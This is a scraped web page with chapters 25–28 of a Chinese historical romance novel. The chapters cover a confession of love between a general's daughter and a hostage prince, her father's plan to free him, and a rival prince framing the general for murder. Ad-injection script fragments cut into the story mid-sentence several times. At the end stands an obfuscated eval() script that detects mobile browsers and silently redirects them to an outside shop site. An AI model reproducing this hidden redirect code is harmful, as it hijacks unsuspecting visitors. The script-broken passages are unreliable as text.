“可是皂荚我也不喜欢。”秦常念默默地嘀咕一句,心里很不甘,“我非得喝不可嘛,我又没生病。” “春寒料峭,容易伤风发热。今日我们外出许久,你的情绪又大起大落,需要注意。”隗絮很耐心地解释道。 “我情绪大起大落都是因为谁。”秦常念顶嘴道。 25. 初次 隗絮幽深的眸子盯了她一会,深吸一口气,拉住她的手,神色很认真地说道:“对不起。” “啊?”秦常念反应不过来,很诧异地看着他。 “对不起。”隗絮又原原本本地重复了一遍,“今日是我没有控制好自己的脾气,对你大声说话对不起,把你丢在店里一个人走对不起,还有……最后吓你也对不起。” 秦常念仰着头直视隗絮,想了想问道:“那你为何生气?” 单刀直入、切入正题。 “我没生气。” “我只想听实话。” 秦常念坚决的语气堵住了隗絮的借口,隗絮低下头沉默。该怎么说呢,该从何说起呢。隗絮迟迟开不了口。 “你是怕我和太子殿下说了什么吗?”秦常念猜,也许是隗絮误以为自己和太子说过什么关于他、关于北凉的机密,让他觉得她背叛他了,才会如此生气。 “你和太子殿下什么时候说的话,宴会上吗?”隗絮沉默了好一会,终于问道 果然是因为这个,他的问题让秦常念更加验证了自己的想法,她转了转眼睛,回想道:“你放心,我们没聊什么。就是晚上我心情不好,在院子里练剑发泄,被太子殿下撞见了,他就邀我一同聊天。然后就是他饿了,我给他煮了碗甜汤喝。” 秦常念仔细叙述了当时的场景,想了想没什么遗漏的,保证道:“你放心,我们完全没提到你和关于你的事情,完全不必担心。” 听了这话,隗絮更觉得一口气在胸口上不来:“怎么,你觉得我很丢人,比不上太子吗?” “怎么会,你怎么这样子想。”秦常念很意外。 “那太子如何?”隗絮沉沉地问道。 “太子殿下人很好啊,我不是说过了嘛,同他聊天很轻松舒服。哦对,他说的剑佩还挺令人向往的。将来若是去帝京的话,我还真的挺想去打一枚呢。”秦常念说着说着就陷入想象之中,满眼星星。 “噢,所以陛下赐婚你和太子?”隗絮的语气很戏谑,言下之意是陛下想成全你们。 “可别提了,吓都把我吓死了。”秦常念没有听出他的弦外之音,抚着胸口说道,“那是谁,那可是太子啊,是一般人敢嫁的吗?” “这不是正好,你成为太子妃,秦家未来就是皇亲国戚,有享不尽荣华富贵,数不清的锦衣玉食。正合了你的心愿。”隗絮的语气越来越冷。 “合什么合,我什么时候说过我要嫁?”秦常念惊得声音都拔高了几分。 “噢?你不嫁?”隗絮的眉毛抖动了一下,抬起眼皮。 “我当然不嫁啊!”秦常念大声反驳道。 “那你为什么任凭流言发酵?顶着未来太子妃的头衔,你很享受吗?” “你自己都说了是流言了,那外人怎么评判我还要去管吗?” “你难道不管吗?”隗絮的情绪也愈发激动,吼了回去。 这一声怒吼过后,迎来了好一会的沉默。 两个人都不太冷静,喘着气。话赶话地讲到这里,这场对话已经逐渐演变成了吵架,甚至连这场对话最开始的目的都已经被遗忘了。 “你到底什么意思。”秦常念觉得她真的看不透隗絮的心思,她也不想再去猜了。无力地坐在椅子上问道。 “我吃醋了。”隗絮终于决定说出自己的真心话。他忍着快要过速的心跳,一字一句地说道,“我没办法心平气和地接受你被赐婚的消息,因为我喜欢你。” “从第一次见到你的时候,这份喜欢便开始在我的心脏里生根发芽。为你,我做了很多我本不会去做的事情,当时的我,甚至觉得那是一种下意识的本能。秦常念,我远比我以为的,更早喜欢上你。” 秦常念惊讶地瞪大了眼睛,心里的动荡久久不能平息。 隗絮看着她,很温柔地笑了一下,单手解开一直挂在自己身上的玉佩,另一只手抓起秦常念的手,轻轻地玉佩放在她的掌心:“你说你缺一个剑佩,这个送你。凡是我有的,都可以给你。阿念的心上,可以不再有别的男子了吗。” 秦常念拿着那块玉佩,半天说不出话。 她细细地端详了那块玉,玉的做工很精致,上面是骏马扬蹄的透雕纹饰,马眼睛和鬓毛皆以赤瑕点坠,成色轻透,色泽匀润。赤狄人一向以赤色为尊,这块玉又配在北凉少主的身上,想必一定不是一块普通的玉。 秦常念忙将那块玉递回给隗絮:“这太贵重了,我不能收。” 隗絮将手背到身后,坚持不肯接:“一点也不贵重,也没什么特殊含义。你收着做剑佩吧。” “不可能,一定是很重要的。况且剑成日磕磕碰碰,剑佩难免损坏。用这么好的玉来做剑佩,也太可惜了。还是不要了吧。”秦常念将玉放到桌子上,推到隗絮面前。 隗絮又将那块玉推回来,语气里带着几分自嘲:“我给的,大小姐总是不想要。但这次就再勉强大小姐最后一次,收着吧。” “我也不是这个意思…:” “日后,定是不会再勉强大小姐了。这次,我先给大小姐赔个不是。”隗絮扯出一个僵硬的笑容,拱了拱手,就转身准备离去。 “隗絮!”秦常念忽然叫住他。 隗絮的身子一顿,慢慢地转了过来,神色很悲凉。明明已经初春了,他却还像在深秋一样,眼里有最后一片落叶慢慢飘零。但他还是低下了头,很快隐去自己的复杂情绪,换上一个温和的笑容,用嘴型问道:“怎么了?” 秦常念冲上去,抓住他的衣领用力地往下一拉,然后吻了上去。 隗絮一时间反应不过来,只是随着她的动作,弯下了腰,好让她不要踮脚。他能感觉到秦常念吻得很用力,甚至有些乱七八糟。她的牙齿一不小心磕在了他的下唇,渗出丝丝血迹。可他的心却从来没有这么满足过。 秦常念发觉隗絮的嘴唇破了,忙要拉开两人的距离。隗絮却一把拦住她,一手附上她的脖颈摩挲着,重新吻了上去。 秦常念微笑着欣然接受这个吻,闭上眼睛沉醉其中。 隗絮很敏锐地察觉到秦常念的喜悦,将她搂得更紧一点。隗絮看了一眼秦常念微红的脸颊,也慢慢闭上了眼睛。一滴泪从他的眼角滑落,无声地落在秦常念的肩膀上。 爱情就是这样的,在不同人的身上有不同体现。可想得多的人,永远有更多伤悲。 秦常念感觉到隗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 絮脸上的湿润,轻声问道:“你哭啦?” 隗絮眨了一下眼睛,长长的睫毛上还挂着泪珠:“没有,我是太开心了。” 秦常念觉得这个场面有些好笑,伸手帮他擦掉眼泪:“开心什么?” “开心……你愿意留我在身边。” “那你从现在开始会经常高兴,因为我喜欢被人陪着。” 隗絮笑了一下,捏了捏秦常念的耳垂,凑近一点,低声说道:“被大小姐喜欢,是隗某的荣幸。为了报答大小姐,我来哄一哄大小姐,可好?” “怎么个哄法?”秦常念好奇地问道。 隗絮没有回答,单手将秦常念抱起,放在卧榻上,和她耳鬓厮磨:“那自然是独一无二的哄法。” 秦常念轻轻推住隗絮的肩头:“会痛吗?” 隗絮抬起头,和秦常念单纯的眼眸正好对上。他抬手覆住秦常念的眼睛,好减轻一点罪恶感,柔声安抚道:“会轻轻的,不怕。” 秦常念点了点头。时而像是最爱的盛夏里的酸梅冰沙,丝丝甜意沁入心脾,又带着些酸涩;时而像是冬日夜晚燃气的篝火,木柴被烧得噼里啪啦的,火苗在风中摇曳,不时地窜起来。 隗絮将她带去了漠北的草原骑马、又带去了江南乘轻舟赏花。自由而释放,轻柔而张扬。 断断续续的记忆偶尔在秦常念的脑袋里闪回:真好,他忘了皂荚水和姜茶的事情。 该来的总是会来的,第二日早上,秦常念刚刚睁开眼睛,就敏锐地捕捉到空气里姜茶的气息,她皱了皱鼻子,双手拉住被子盖住头,企图和她不想面对的现实隔离。 隗絮端着姜茶过来,将被子拉下来:“别为了碗姜茶将自己闷死了。“ 秦常念哼了一声,转过身子,背对着隗絮,声音闷闷的:“闷死也好过被姜茶毒死。“ “好啦,就一小碗,我特意命厨房煮得淡些,还给你带了蜜枣。一会喝完了,就该出门了。”隗絮是懂得抓住秦常念的心的。 秦常念的兴趣一下就来了:“出门?去哪?” 隗絮将姜茶递上前去:“喝完了我就告诉你。” 隗絮的关子卖得正好抓住了秦常念的胃口。秦常念歪着头,内心博弈了一下,最后重重地点了点头,就着隗絮的手把那碗药一饮而尽。 秦常念被苦得整张脸都皱到了一起,手还不停地给自己扇着风,想驱散嘴里的苦味。隗絮被她可爱到了,笑着抬手将一颗蜜枣塞到秦常念嘴里,说道:“秦将军在河边找了一处地方,让我们一块出去散散心。” “好呀好呀!”秦常念立刻就要下床,准备出发。刚踏到地下,就觉得腿一软,隗絮一把撑住她的手肘,将她捞起来。 秦常念用充满怨念的眼神看了一眼隗絮,隗絮立刻就看懂了她的言下之意,揉了揉她大腿酸痛的肌肉:“是我的不是,我这就取大小姐的衣物来,大小姐且在此处等我一会。我来服侍你。” 秦常念很傲娇地点了点头,隗絮立刻就去取洗漱的东西和衣物。 “大小姐,这些奴婢来就可以了。”丫鬟有些不知所措地说道。 “谁种的因,谁担这个果。”秦常念一副很张扬的样子说道。 26. 交易 河边上,三个人久违地坐在了一起。秦远用食指点了点杯子,一个丫鬟上前来给他和隗絮斟酒。 隗絮看了一眼酒杯,微微偏过头,用余光扫了一下秦常念,双手执起酒杯说道:“秦大将军近日忙于军务,也许久没和大小姐坐下来谈谈心了。今日准备的是果酒,度数不高,气味香醇,不如让大小姐也尝一尝。” 听到他的建议,秦常念惊讶地张大了嘴,转过去看着秦远,附和道:“是啊是啊,父亲,良辰美景不多有,错过了今日,可不知道下次我们再坐在一起是何时了。” 秦远意味深长地看了秦常念好一会,终于点了点头:“好,今日你也一起吧。来人,给大小姐也倒一杯。” 秦常念完全没想到秦远今日这么容易妥协,兴奋地拿起酒壶:“不用不用,我自己来,我自己来。”还偷偷对着隗絮比了个胜利的手势。 “干杯!”秦常念率先伸出手。 秦远和隗絮也拿着酒杯碰过来,三只精美的白瓷杯子撞在一起,发出“哐当”的脆响,让人禁不住担忧。世上美好的东西都脆弱,因为美,所以不持久;因为脆弱,所以令人更想抓住。 “哈……”秦常念豪迈地将酒一饮而尽,心满意足地抹了抹嘴,“真好喝。” 隗絮有些紧张地看看秦远,又看看秦常念,担心秦常念第一次和秦远一起喝酒,就表现地太过豪迈,惹得秦远不快。 可秦远笑了笑,不仅没有说秦常念半句,反而命人给她再倒了一杯。 “父亲,你今日怎么对我如此纵容,这可不像你。”秦常念怀疑地指着秦远,总觉得有些不妙。 秦远主动和秦常念碰了个杯:“哈哈哈哈哈,怎么,兵不厌诈是吧。” 秦常念立刻警觉地放下了酒杯,眯了眯眼睛:“怎么想都觉得像是个圈套。” 秦远没急着说话,将手里的酒一饮而尽,然后细细品了品,才说道:“这酒是好酒啊。”又抬起头看着秦常念,“有些人爱酒如命,有些人对酒嗤之以鼻;有的人借酒消愁,有的人饮酒后只会愁上加愁。我不知道你是哪一种,但我想,要让你自己试试看。是好是坏,都要试试看,因为这是属于你的人生。” “父亲……”秦常念听到这话,鼻头一酸,觉得情绪全都翻涌了上来,睁大了眼睛,不敢眨眼,拼命才忍住眼泪。这是她等了太多年的回答。 “有机会的话,你也应该再回江南玩玩,父亲老了,不敢再回去了。”秦远自嘲地笑了笑,低下头,掩饰他也红了的眼眶。 “若将来有机会,我陪大小姐去江南逛逛。”隗絮适时地出声,打破伤感的气氛。 “你在江南生活的时候对那边好吃的好玩的熟吗?”秦常念赶紧用手背抹了抹眼泪,装作无事发生的样子。 “那当然当初我在江南那也是名盛一时的,逗蛐蛐、流水宴、赏花品茗,我哪样没玩过。”隗絮故作夸张地甩了一下袖子,做出很骄傲的样子。 秦常念果不其然被他逗笑:“就你会吹。那江南最有名的醉春楼你也去逛过咯?” “那倒是……没有,没去逛过。”隗絮觉得兵不厌诈这个词,秦常念应该用在自己身上才是,这个问题问得人很容易送命。 “我倒是很想去,听说啊,那是天上人间!不只是何等的好风光呢!” “听谁说的?” “就听……别人啊。” “你莫要轻易地就被人骗了!”隗絮用指节点了一下秦常念的头。 隗絮用的力气很小,但秦常念故意“嗷”了一声,然后伸手捂住头顶,夹起嗓子撒娇道:“父亲,你看他!他打我!” 隗絮一脸震惊,紧接着就开始惶恐:“……我没有,我轻轻的。” “你每次说轻轻的,都是骗人的!”秦常念嘴比脑子快,这话一出,猛然觉得不对。两个人都从脖子红到耳根。 “……那个……你……我……”隗絮试图把话捡起来,可是秦常念这耸人听闻的发言,就像一堆和了过多水的烂泥,怎么都拾捣不起来,还会粘在手上,到处都是。隗絮觉得自己舌头都打结了,一句话也说不明白。 秦远被他俩人逗笑了:“常念,你莫要再欺负人家隗公子了,你看,搞得人家多慌张。” 秦常念又背上了好大一口锅,她用肩膀撞了一下隗絮,意思是给我正常点。隗絮甚至都不敢正眼看她,只是飞快地扫了她一眼,然后点了点头。 “若是没有发生那些事,你们相遇在江南,该多好啊。”秦远一边说着,一边走到河边,去看那几只已经勇敢地在水里游泳的鸭子。 秦常念起身,准备跟过去,又低下头,在隗絮的耳边调皮地小声说道:“江南的小公子可多了,我可不敢保证我就一定会看上你。”说罢,眨了一下眼睛,跑到秦远身边去了。 隗絮无奈地笑着摇了摇头,也起身过去。 秦远看着远方,又沉默了好一阵。秦常念左右探着脑袋,怎么没明白他在欣赏什么。远方是光秃秃的草原,雪化了一半,变成一块黄,一块白的,更显得斑驳。漠北很大,远方的远方还是草原。也许有高山、也许有河流,但谁知道呢,毕竟想象里的东西最美好。 就在秦常念快要忍不住催他走的时候,秦远背着手开口了:“常念,找个时间把隗公子送走吧。” “送去哪?” “送回北凉。” “可是圣旨上说,他仍然继续在这里当质子啊。”秦常念不敢相信自己的耳朵,不敢想一向稳重、做事三思而后行的秦远竟然说出了这样的话。 隗絮也颇为意外,他是要为自己抗旨吗?赶紧说道:“秦大将军不必为我冒险,我可以继续留在这里的,没关系。” 秦远跨过秦常念,走到隗絮面前,很严肃地问道:“那你是准备用你的命赌吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦远以为,隗絮被保护地太好了,虽然是少主,却不精朝堂的利益争夺。他不知道,他留在这里,最终只能是死路一条。 “是。”隗絮却没怎么思考,就铿锵有力地回答了。 秦远更加意外地看着他,眉头紧皱:“你还太小了,你不懂。” “我明白。大齐将您调为征北将军,不日便要开始讨伐北凉。若是赢了,连北凉都没了,那还来的我这个少主?若是输了,以大齐的国力,也不可能就此崩塌。而我这个少主一定会成为皇帝泄愤的工具。所以,左右我都是活不了的。”隗絮很平静地叙述着,仿佛他也只是个说书人,在讲一段中原和少数民族的故事。 秦远没想到他看得如此透彻,但也更疑惑了:“那你为什么……” 隗絮低着头,没有从自己的角度来回答这个问题:“违抗圣令,放走质子,您一定会被怀疑通敌叛国,那您怎么办,大小姐又怎么办。” 秦远长叹了一口气,对他来讲,做这个决定同样艰难。可是他从前做错过一次了,他不想再在隗絮身上做错第二次。他太无辜了,他们都太无辜了。 秦远从新帝登基之初就陪在他的身边,战功赫赫、出生入死。可以说,今日李骤之所以能稳坐江山,有一半都是他的功劳。在最开始的那几年,秦远被李骤视为最忠诚的盾、最锋利的刀。在帝京镇压李骤弟弟掀起的叛乱的时候,替李骤挡了一剑,险些丧命。李骤颇为感动,赐了一块免死金牌。 所以秦远原本的计划是,用免死金牌保住秦常念。而他,可以接受任何结果、任何审判、任何罪名。 年过半百了,他就想坚持一次做对的决定,而不是做对自己最好的决定。 回到府里,秦常念衣服都来不及换,就立刻去找秦远:“父亲!我知道您想保隗絮,但一定会有更好的办法的。公然违抗圣令,您一定会受罚。” 秦远走过来,拍了拍秦常念的肩:“常念,这也是我的人生。” 无论结果如何,我都想试试看。 秦常念一时脑子也乱了,决定回房间好好想想。她刚走,隗絮又来了。 隗絮对着秦远郑重地鞠了个躬:“秦将军,您已经为我做得太多了,我无以为报,深感惶恐。还请您不要为了我牺牲任何。” 秦远在椅子上坐下,叹了口气说道:“是我对不起你们家。你父亲当年与我一起做官,我们志趣相投、颇为交好。听闻我妻子去世后,你父亲还多次前来探望我,在皇上面前替我说话,能为我做的都做了。可是你们家被人陷害之时,我无心朝堂之争,已经前往漠北。最后竟眼睁睁地看着你们家落难、逃跑,这是我欠你们的。欠了大半辈子,欠到你都这么大了,也该还了。” “秦将军。这世上本就没有谁欠谁的,就算欠了,也早就还清了。”隗絮望向秦远的眸子很冷静。他岂会不知呢,大家都是撑着泥船过河,没有谁能救得了谁。 27. 她怕 镇远将军府里,隗絮已经连续好几天失眠了。今天晚上,他实在觉得心里闷得慌,思来想去还是决定去秦常念的房间里找她。隗絮敲了好一会门都没人来开,又贴在门上仔细地听,房间里没有一点声响,静得出奇。 难道是睡了?隗絮心里有些疑惑,可秦常念通常不会这么早休息啊。门口正好走过去的一个丫鬟,隗絮赶忙问道:“大小姐呢?” “回公子的话,大小姐应该是在屋里休息。” “那麻烦你传个话,说我有事要和大小姐商量。” “是,公子。” 丫鬟刚要进去,隗絮又赶紧跑过去补充道:“若是大小姐睡下了,便不必喊她。” “是,公子。” 不多时,丫鬟便出来了:“回公子的话,大小姐不在房间。” “不在房间?”隗絮更加疑惑了,又想起上次碰到的李权执,不禁紧张了起来,眼下局势尚不明朗,也不知道他为什么要接近秦常念。 隗絮赶忙在院子里找,祈祷着只是自己想多。他找了厨房、书房、正厅,都没有见到秦常念的身影,一颗心都提到了嗓子眼。在北风呼啸的夜晚,硬是急出了一头汗。 终于在假山的后面找到了靠着一块石头发呆的秦常念。 隗絮长舒了一口气,紧锁的眉头终于放松了下来,走过去问道:“这么晚了,你一个人在这干嘛,也不跟其他人说一句,会让别人担心的知不知道。” 所谓关心则乱,隗絮因为着急,语气不是太好,不自觉带了点批评的意思,又像是以前做她教书先生的时候了。 秦常念盯着他,少见的脸上没有任何表情。隗絮立刻就反思了自己的态度,觉得自己太心急了,她怕是又觉得他在凶他了,刚要开口解释:“那个我没有怪你的意思……” 秦常念没等他说完便打断了:“让谁担心?” 隗絮想不到她会这样问,一时间回答得磕磕巴巴:“……很多人都会担心的,秦将军也担心,子秋也会担心。” “那你呢,你会为我担心吗?” “我……”隗絮答不上来。 他不得不承认,自己是一个非常不坦然的人。生在王宫、位居少主,他从小便深谙“三思而后行”这句话。秦常念的问题一出口,他下意识地就开始分析判断局势,脑子里闪过两人之间的很多东西,比如说相背的身份究竟该怎么办、比如说她会不会因此受到伤害、比如说他要怎么做才能护得住她。 隗絮在这个问题上显得非常犹豫,因为他想尽最大的努力和秦常念走到最后。这是条很艰难的路,他希望在开始之前便算好一切。秦常念不能因为他受到任何伤害,这是他的底线。 半天都没有等到隗絮的回答,秦常念随手捡了根树枝晃来晃去:“算了,现在这些不重要。反正你马上都要走了,还是不要告诉我你的答案比较好,我不想知道。” “你真要送我走?”隗絮很诧异。 “嗯。”秦常念回答得很坚决,“虽然有点舍不得吧,但我还是要送你走,我不能害你。” “怎么叫害我?留我在这里,也不会害我的。”隗絮走上前去,双手握住秦常念的手,放在掌心暖着。 秦常念低下头看着被隗絮紧紧包住的手,继续说道:“有一年初冬,我捡到了一只燕子,因为受伤没能赶上和同伴一起南迁。我静心照料了它一段时间,它的精神有所恢复,身体状况也日渐好转。有好几次它都想要试图飞走,可是我又舍不得放它走,就自作主张地将它继续关在笼子里养。最后它死了,没有死在阴冷的漠北,或是艳阳高照的江南,而是死在了镇北将军府一只漆木的笼子里。” “可是你当时没有捡她回来的话,它也许早就在外面冻死了。”隗絮认真地说道。 秦常念知道他在安慰自己,勉强笑了一下:“可我若是肯放它走的话,它便有机会见到江南的春天。不执着的话是生离,强留的话是死别。我想,任何人都知道该选哪一个吗?” 隗絮沉默了一会,移动了一下身子,替秦常念挡住风口:“你是觉得我会变成那只燕子吗?” “你怕吗?” “我不怕。”隗絮的回答低沉却有力量,“如果让我选,我一定选留在你身边。”隗絮墨黑色的眸子里面荡开了一层水汽,坚定的表情没有动摇半分。少年就是这样不计代价、不改初心的。 “可是我怕。”秦常念调整了一下重心,从石头上下来,“下个礼拜我便会送你出大齐,对外就宣称你跑了。至于你会不会顺利回到北凉王宫、会不会被其他人抓到,便是凭你的本事了。说好了要带我去江南玩的,隗絮,你不要让我失望。” 秦常念深深地望了隗絮一眼,转过身便离开了。 “阿念!”在秦常念的背影消失在走廊尽头前,隗絮喊了一句。 秦常念停住了步伐,却没有回头看。 “不要有任何顾虑、任何伤心,相信我,我都能解决的,别怕。” 这句话说得有些沉重,像是下定了决心以后的某种道别,秦常念的眼皮一跳,赶忙转过身:“什么意思?”背后却只剩下那一座假山和光秃秃的老槐树了。 秦常念很疑惑地四下张望一下,都没有看到隗絮的身影,自言自语了一句:“为什么说这么令人担忧的话。”还是转身回了房间。 假山后面,隗絮拼命地掐自己的手,才忍住没有出声。眼泪已经如关不上的闸门一般往下掉,他扶着假山,无力地蹲了下去:“怎么办,阿念,我该怎么办。” 对于已然决定赴死的隗絮来说,他最害怕的事情不是自己没命活,而是秦常念又要经历一场死别。 而她说,她害怕。 我最无力的瞬间,就是你说你怕,我却没办法哄你。 “阿念,对不起,真的对不起。”隗絮的眼泪淹没了一片荆棘,将它变成平地。日后秦常念踏上的时候,便不会再割伤膝盖。 大齐皇宫里,李权执称病,一连数日没有上朝。皇上不仅没有过问,还替他掩盖:“瑞王前些日子染疾,身体不适。朕让他休息一段时间再来上朝,众爱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卿也要多多注意身体。” “谢圣上关心,微臣定当竭力为大齐效力。”一众大臣跪在地上叩谢。 跪在第一排的李欲心里起了疑,皇上刚刚征调秦远为征北将军,李权执不仅多次针对秦远,看起来还对隗絮这个质子颇为执着,这里面一定不简单。于是一下朝,他便带着随从前往瑞王府。 “太子殿下,瑞王殿下病重,几日来都不见好转,您还是不要进去了,怕过了病气给您啊。”门口的守卫拦住了李欲。 “无妨,皇弟病了,我这个做皇兄的自然是要来看看的,不然大家反而说我无情无义了。”李欲不妥协,抬脚就要往里走。 “太子殿下,太医说瑞王殿下病得很重,须得静养几日,闭门谢客,谁都不见。还请太子殿下见谅。”守卫很为难。 “我不会留太久,打扰皇弟休息的,进去看一眼我就走。” “可是……” 李欲的眼神变得犀利:“你三番五次地拦我,到底是因为皇弟真的病重,还是因为他根本就不在。” 守卫吓得不敢说话,站在一旁哆嗦:“太子殿下……” “你还记得我是太子殿下啊,那便让开,别挡我的路。出了事,你可担不起这个责任。来人,开门!”李欲扬了扬手,他身后的侍卫立马上来将门打开。 李欲径直冲到卧室,看着空无一人的床:“果然不在。我倒要看看你对漠北那么执着,到底所为何事。” 御书房里,太监孙恩忠报告道:“陛下,瑞王府的守卫来报,说是太子殿下强闯了瑞王府。” “这个太子老和朕对着干,他以为朕当真不知道他想干什么吗?”皇上气得将紫檀镇纸木重重地拍在桌上。 权利越是集中的地方,猜忌就越多,人心就越复杂。所谓异心,有也是无,无也是有。 几日后,身处漠北的李权执收到快报,说太子已经发现他不在了。 李权执将信纸放在烛火上点燃,火光映在他的眸子里,和他白皙得过分的脸形成鲜明的对比,染上几分阴毒:“强闯瑞王府,质问我的下落。好得很啊,太子殿下,你难道不知道父皇现在跟我是一边的吗?我看你这个位置还能坐几天!” “来人!”李权执对着房外大喊一句,侍卫闻声赶来。 “请殿下吩咐。” “我们的计划要提前了,明日便要动手。”李欲一向城府颇深,擅长化被动为主动。李权执虽说现在面上占着优势,却也害怕不在皇城,和父皇之间的沟通不够及时,被李欲扭转局面,所以急着回去。 “是,殿下。” “做得干净些,那秦远也是个心思缜密的。”李权执从身后的架子上取下一把刀,这刀是照着秦远的佩刀打的,请了皇城最有名的工匠,连细节处都做得一模一样。李权执将这把刀拿在手里左右看了看,折射出的寒光刺得他有一秒钟睁不开眼睛。李权执冷笑了一声,将刀扔到侍卫的面前。 “是,请殿下放心。多谢殿下!”侍卫双手执刀举过头顶,忠心耿耿地说道。 28. 被抓 镇北军营里,一具尸体横在营帐门口。死者是漠北的一个年轻男孩,约莫24岁,他没有正式的名字,大家都叫他小轩。 小轩的父亲是漠北出了名的脾气不好,赌博败光了家产,又常常喝得酩酊大醉、不辨是非,动辄就殴打小轩和他的母亲。那时候,他的母亲总是将他藏在房间里,一个人出去面对他的父亲。门外东西被砸碎的乒铃乓啷的声响和母亲的尖叫混在一起,小轩缩在房间的角落里,不敢出声,只是盯着门板的缝隙发呆。 在小轩四岁那年,他的母亲被打得实在受不了了,趁他父亲去赌场的时候,收拾了行李,离开了家。 那时的小轩对分别还不敏感,他只是在拥抱母亲的时候感觉到几滴凉凉的东西落到了他的脖子上,他觉得有些不舒服地缩了缩脖子。 “小轩,照顾好自己。”他的母亲将一个平安锁挂到小轩的脖子上,摸了摸小轩的头,就走了。 绣花的包袱一晃一晃,很快消失在小轩的视野里。几天过后,母亲身上特有的那种令人安心的香味也渐渐消散在风中,抓不住,留不下。 所以,小轩对于离别最初的理解,就是渐行渐远的绣花包袱,和再也不会穿到的母亲亲手洗的带着皂香的衣服。 从那时起,小轩再也体会不到心安了。 后来,小轩的父亲另娶了一位妻子,组建了新的家庭,有了新的孩子。听说军队会发些生活用品、吃食来做补贴,他毫不犹豫地就把尚且年幼的小轩送到了军营里。 这就是小轩的一生。也不只是小轩一个人的一生。 秦远一行人很快就赶到了现场。小轩的胸前有好大一个血窟窿,但血早已冰凉。众人们围在他的尸体旁,议论纷纷。 小轩很明显是被人杀的。 一个小兵,惨死在了军营里。饶是见过无数血腥场面的其他士兵,也不禁心里一紧。 秦常念扯下一块白布,大步流星走过去,盖在小轩的身上。她用手轻轻地合上小轩僵硬的眼睛:“辛苦了,现在可以好好休息了。” 小轩的父亲带着继母闻讯赶来,挤过来,在尸体旁大吵大闹:“我辛辛苦苦养了这么久的儿子啊!就这么死了!秦将军,你可得负责啊!不是在战场上受伤而死,居然是横死在军营里!这算怎么一回事啊!” 在边上哭天喊地的,眼泪没落下半颗。嘴里口口声声说着对小轩感情深刻,却连尸体也不敢看一次。 负责,他们想要的是哪种负责,人人皆知。他们来这一趟无非是为了点抚恤金。 还没等秦远处理,一群官兵就涌了进来。 “他卫国有功,当然要赏。然今日在军营不幸遇难,我们也定会彻查到底,捉拿真凶。”进来的人竟然不是官府县衙之人,而是身着普通官服的李权执。他抬了抬手,示意仵作上去验尸。 前脚出了事,后脚他就带着大批人马来了。就好像未卜先知一般。秦常念怀疑地皱了皱眉头。 “此人的致命伤在胸口,应该是对着心脏一击毙命的。行凶者用的是刀,长度大约七寸,一刀便能刺穿心脏。死者身上有些许打斗的痕迹,但不多。通常死者会有剧烈的反抗留下的淤青、出血或事勒痕,但这位死者与凶手明显没有过多的纠缠。杀他的人要么武功强他许多,让他完全无法抵抗;要么是他熟识之人,让他没有料到。”仵作禀告道。 顿时间大家议论纷纷,都是行伍之人,大家对于兵器、伤口都见得多了,不知是谁在人群中惊呼一句:“啊!这个伤口的大小不是和秦将军的刀一样吗?” 这话一出,大家立刻都看了过去,小声说道:“好像是啊,怎么会这么像。” 结合仵作刚刚说的话,秦远的武功一定在小轩之上许多,要杀他那是分分钟的事情。不仅如此,秦远也是小轩熟识之人,日日小轩都领命于大将军。秦远若要杀他,小轩一来没有挣扎的勇气,二来也没有反杀的能力。 如此一来,秦远成为了最大的嫌疑人。 李权执嘴角微微上扬了一下,又装作若无其事的样子,走上前来:“秦将军的刀可否借我一看?” 秦远没动,和他对峙几分钟,从腰间抽出佩刀。 李权执接过刀,握在手里看了看,走到小轩的尸体旁,掀开盖着的白布,将刀虚放在伤口上比划。 “这一模一样啊!” “这这这……莫非是秦将军?” “你别乱说,将军怎么可能会做这种事!一定是被人陷害的!” “听说将军府大小姐和北凉的质子走得颇近,莫不是他们家早已有了异心?” 人群里瞬间炸开了锅,什么样的说法都有。 李权执站起来,将佩刀递给身边的侍从,在秦远面前站定:“秦将军,还麻烦您跟我们走一趟。” 秦远丝毫不慌张,严肃地盯着李权执说道:“没有做过的事情,便是没有做过。你们再怎么查,也不可能把脏水泼到我身上。” “希望秦将军真像自己说的一样清白才好。”李权执冷笑了一下,抬手挥了一下,“带走!” “且慢!”秦常念急得跑了出来,“你们现在可是怀疑我父亲?在军营里杀一个无权无势、无依无靠的无名小卒,对我父亲来讲有什么好处!杀完了人还要把尸体拖到大门口给大家看,凶器是自己随身携带的佩刀,好像生怕查不出来一样!若是真要杀人,会蠢到这种地步吗?这摆明了就是个圈套!” 李权执停下步伐,转过身来,看着秦常念:“是不是圈套不由你几句空口白话说了算,官府办案,是要讲究证据的。若你父亲是无辜的,几日之后你自然就会见到他,何须心急。”说罢,便带着一队人马离开。 “可是……”秦常念救父心切,不管不顾地跟上去,准备理论一番。 隗絮伸手拦住了她。秦常念不解地抬头看,隗絮摇了摇头说道:“先回府。” 小轩的父母在此时忽然走上前,跪在李权执的面前:“大人,我们没了小轩可怎么活啊!” “来人。”李权执不耐烦地挥了一下手,两个官兵抬着一箱子钱上来了,打开一看,溜光发亮的白银照得他们眼睛都睁不开。 “多谢大人,多谢大人!大人英明啊!”小轩父亲脸上本就不明显的悲伤一扫而光,对着白银,脸上的横肉乱飞。 秦常念翻了个白眼,她最是见不得这种虚情假意,走上前去对小轩的父亲说道:“既然得了钱,便买副贵重的棺材,好好将小轩葬了吧。” “这……”小轩父亲的眼睛滴溜滴溜地转,看了李权执一眼,像是忽然想起了什么似的,急忙说道,“大小姐说的是,我们也想厚葬小轩。可是害小轩的人毕竟还没有确认,小轩的尸首怕是要带回县衙调查,我们就做不了主了。” “用自己亲儿子的命换来的钱,你们也用得安心,也能睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13871296|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 